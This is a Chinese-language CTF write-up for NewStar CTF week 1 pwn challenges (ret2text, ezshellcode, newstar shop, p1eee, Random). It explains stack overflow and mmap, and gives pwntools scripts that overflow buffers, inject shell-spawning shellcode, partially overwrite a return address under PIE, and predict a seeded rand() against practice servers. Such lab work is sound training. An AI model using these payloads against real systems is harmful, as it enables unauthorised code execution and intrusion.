NEWSTAR PWN WEEK1
ret2text
一个简单的栈溢出
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
Stack保护没开
很明显的栈溢出了,填入32+8个垃圾数据然后把后门地址覆盖掉返回地址
脚本
from pwn import *
con=remote('node5.buuoj.cn',27766)
# elf=ELF('./ret2text')
backdoor=0x4011FB
con.recvuntil("Welcome to NewStar CTF!!\n")
con.recvuntil("Show me your magic\n")
con.send(b"a"*40+p64(backdoor))
con.interactive()
ezshellcode
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
void *mmap{
void *addr; //映射区首地址,传NULL
size_t length; //映射区的大小
//会自动调为4k的整数倍
//不能为0
//一般文件多大,length就指定多大
int prot; //映射区权限
//PROT_READ 映射区比必须要有读权限
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //标志位参数
//MAP_SHARED 修改了内存数据会同步到磁盘
//MAP_PRIVATE 修改了内存数据不会同步到磁盘
int fd; //要映射的文件对应的fd
off_t offset; //映射文件的偏移量,从文件的哪里开始操作
//映射的时候文件指针的偏移量
//必须是4k的整数倍
//一般设置为0
}
参数start:指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。
参数length:代表将文件中多大的部分映射到内存。
参数prot:映射区域的保护方式。可以为以下几种方式的组合:
PROT_EXEC 映射区域可被执行
PROT_READ 映射区域可被读取
PROT_WRITE 映射区域可被写入
PROT_NONE 映射区域不能存取
参数flags:影响映射区域的各种特性。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。
MAP_FIXED 如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此旗标。
MAP_SHARED对映射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。
MAP_PRIVATE 对映射区域的写入操作会产生一个映射文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。
MAP_ANONYMOUS建立匿名映射。此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。
MAP_DENYWRITE只允许对映射区域的写入操作,其他对文件直接写入的操作将会被拒绝。
MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。
参数fd:要映射到内存中的文件描述符。如果使用匿名内存映射时,即flags中设置了MAP_ANONYMOUS,fd设为-1。有些系统不支持匿名内存映射,则可以使用fopen打开/dev/zero文件,然后对该文件进行映射,可以同样达到匿名内存映射的效果。
参数offset:文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。
返回值:若映射成功则返回映射区的内存起始地址,否则返回MAP_FAILED(-1),错误原因存于errno 中。
错误代码:
EBADF 参数fd 不是有效的文件描述词
EACCES 存取权限有误。如果是MAP_PRIVATE 情况下文件必须可读,使用MAP_SHARED则要有PROT_WRITE以及该文件要能写入。
EINVAL 参数start、length 或offset有一个不合法。
EAGAIN 文件被锁住,或是有太多内存被锁住。
ENOMEM 内存不足。
好像没什么用,主要就是开辟了一个空间,然后后面的jump可以跳转过去
这个题可以通过pwntools的工具生成shellcode
脚本:
from pwn import *
sh=remote('node5.buuoj.cn',27556)
context(os='linux',arch='amd64')
sh.recvuntil("Show me your magic\n")
payload=asm(shellcraft.sh())
sh.send(payload)
sh.interactive()
newstar shop
money此处是unsigned int 只要想办法给他溢出就可以获得很多很多money
dont_try这里没有check的逻辑
可以把钱花到50一下然后调用一下就能出
p1eee
这个题开了pie保护
我理解的pie保护 程序可能被加载到任意位置,所以位置是可变的。
然后存在后门函数shell
然后在函数里
存在栈溢出
如果没有PIE——简单的ret2text,在vuln中的read处将程序执行流劫持到后门函数处即可。
然而存在PIE——所有的地址都是从一开始随机确定的,但是相对偏移量保持不变
但是这个地方只存在0x29-0x28仅一位的溢出
观察一下函数地址和后门地址的关系
在 ELF 文件中,对齐是指将各个节(section)或段(segment)的地址和大小调整为特定的倍数。对齐的目的是为了内存管理的效率,因为现代操作系统和硬件通常按页对内存进行管理。
在 ELF 文件中,页的大小通常是 4KB(0x1000 字节)。为了对齐节或段,需要将其地址和大小调整为页大小的倍数。
脚本:
from pwn import *
sh=remote("node5.buuoj.cn",28424)
sh.recvuntil("A nice try to break pie!!!\n")
sh.sendline("a"*0x28+chr(0x6c))
sh.interactive()
Random
脑筋急转弯
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
for i in range(1000):
p = remote('node5.buuoj.cn',28116)
mylibc = cdll.LoadLibrary('libc.so.6')
mylibc.srand(mylibc.time(0))
try:
v6 = mylibc.rand()
v3 = mylibc.rand()
v4 = mylibc.rand()
if((v3%5 == 2)and(v4%2 == 1)):
p.sendline(str(v6))
p.interactive()
except:
continue
finally:
p.close()
sleep(1)